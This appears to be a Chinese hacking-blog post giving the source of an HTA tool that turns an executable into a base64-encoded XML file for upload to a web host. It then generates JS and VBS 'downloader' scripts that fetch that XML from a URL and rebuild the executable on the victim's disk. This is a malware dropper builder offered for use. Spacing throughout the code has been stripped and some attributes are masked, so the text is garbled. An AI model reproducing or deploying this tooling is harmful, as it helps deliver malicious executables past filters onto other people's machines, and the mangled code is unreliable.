以下代码保存成hta文件,可生成js和vbs下载者
<HTA:APPLICATION
ID="xmldown"
Caption="yes"
SCROLL="auto"
border="none"
borderStyle="static"
SINGLEINSTANCE="yes"
maximizebutton="no"
BORDER="no"
icon="dxdiag.exe">
<scriptlanguage=vbs>
SubWindow_onLoad
window.resizeToscreen.width/1.6,screen.height/3
window.moveTo200,200
EndSub
SubCreateXml(path,File)
SetobjStream=CreateObject("ADODB.Stream")
objStream.Type=1
objStream.Open()
objStream.LoadFromFile(Path)
objStream.position=0
SetXmlDoc=CreateObject("Microsoft.XMLDOM")
XmlDoc.async=False
SetRoot=XmlDoc.createProcessingInstruction("xml","version='1.0'encoding='UTF-8'")
XmlDoc.appendChild(Root)
XmlDoc.appendChild(XmlDoc.CreateElement("root"))
SetXfile=XmlDoc.SelectSingleNode("//root").AppendChild(XmlDoc.CreateElement("file"))
SetXstream=Xfile.AppendChild(XmlDoc.CreateElement("stream"))
Xstream.SetAttribute"xmlns:dt","urn:schemas-microsoft-com:datatypes"
Xstream.dataType="bin.base64"
Xstream.nodeTypedValue=objStream.Read()
XmlDoc.Save(File)
SetXmlDoc=Nothing
SetRoot=Nothing
SetobjStream=Nothing
EndSub
Functionx(obj)
Setx=document.getElementById(obj)
Endfunction
FunctionFindfile(str)
SetFSO=CreateObject("Scripting.FileSystemObject")
IfFSO.FileExists(str)Then
findfile=true
Else
findfile=false
EndIf
EndFunction
Functionjsdown()
SetFSO=CreateObject("Scripting.FileSystemObject")
withfso.opentextfile((CreateObject("WScript.Shell")).CurrentDirectory&"\jsdown.js",2,true)
.writex("jsdown").value
endwith
endfunction
Functionvbsdown()
SetFSO=CreateObject("Scripting.FileSystemObject")
withfso.opentextfile((CreateObject("WScript.Shell")).CurrentDirectory&"\vbsdown.vbs",2,true)
.writex("vbsdown").value
endwith
endfunction
</script>
<body>
<h4>1.生成下载用的xml文件</h4>
选择下载的exe文件:<inputtype=filename="file1"id="file1"size="20">
保存路径<inputtype=textname="path"id="pathname"value="c:\down.xml"size="20">
<inputtype="button"value="生成xml文件"xxxxx='vbs:CreateXmlx("file1").value,x("pathname").value:IfFindfile(x("pathname").value)=trueThenmsgbox("生成成功,请传到某个空间"):x("url").innerHTML="<fontcolor=red>生成成功,请传到某个空间</font>"'><br>
<h4>2.生成下载者</h4>
<buttonxxxxx='vbs:jsdown():IfFindfile("jsdown.js")=trueThenmsgbox"生成成功":x("url").innerHTML="用法是cscriptjsdown.jsxmlurlsavepath"'>生成js下载者</button><buttonxxxxx='vbs:vbsdown():IfFindfile("vbsdown.vbs")=trueThenmsgbox"生成成功":x("url").innerHTML="<fontcolor=blue>用法是cscriptvbsdown.jsxmlurlsavepath</font>"'>生成vbs下载者</button><br><br><br><br>
<divid="url"></div>
<textareaxxxxx="visibility:hidden"name=jswodnid=jsdownrows="1"cols="1">
varobjArgs=WScript.Arguments;
varobjXmlFile=newActiveXObject("Microsoft.XMLDOM");
objXmlFile.async=false;
objXmlFile.load(objArgs(0).toLowerCase());
do
{
WScript.sleep(100);
}
while(!objXmlFile.readyState==4)
if(objXmlFile.readyState==4)
{
varobjStream=newActiveXObject("ADODB.Stream")
varobjNodeList=objXmlFile.getElementsByTagName("stream")[0].nodeTypedValue
with(objStream)
{
objStream.Type=1;
objStream.Open();
objStream.Write(objNodeList);
objStream.SaveToFile(objArgs(1).toLowerCase(),2);
objStream.close();
}
}
deleteobjXmlFile;
deleteobjStream;
</textarea>
<textareaxxxxx="visibility:hidden"name=vbswodnid=vbsdownrows="1"cols="1">
SetobjXmlFile=CreateObject("Microsoft.XMLDOM")
objXmlFile.async=false
objXmlFile.load(Wscript.arguments(0))
DoWhileobjXmlFile.readyState<>4
wscript.sleep100
Loop
IfobjXmlFile.readyState=4Then
SetobjNodeList=objXmlFile.documentElement.selectNodes("//file/stream")
SetobjStream=CreateObject("ADODB.Stream")
WithobjStream
.Type=1
.Open
.WriteobjNodeList(0).nodeTypedvalue
.SaveToFileWscript.arguments(1),2
.Close
EndWith
SetobjStream=Nothing
EndIf
SetobjXmlFile=Nothing
</textarea>
</body>
作者:kabus
地址:http://www.hack-kabus.com/hack/read.php?154
版权所有。转载时必须链接形式注明作者和原始出处及本声明!
*
* |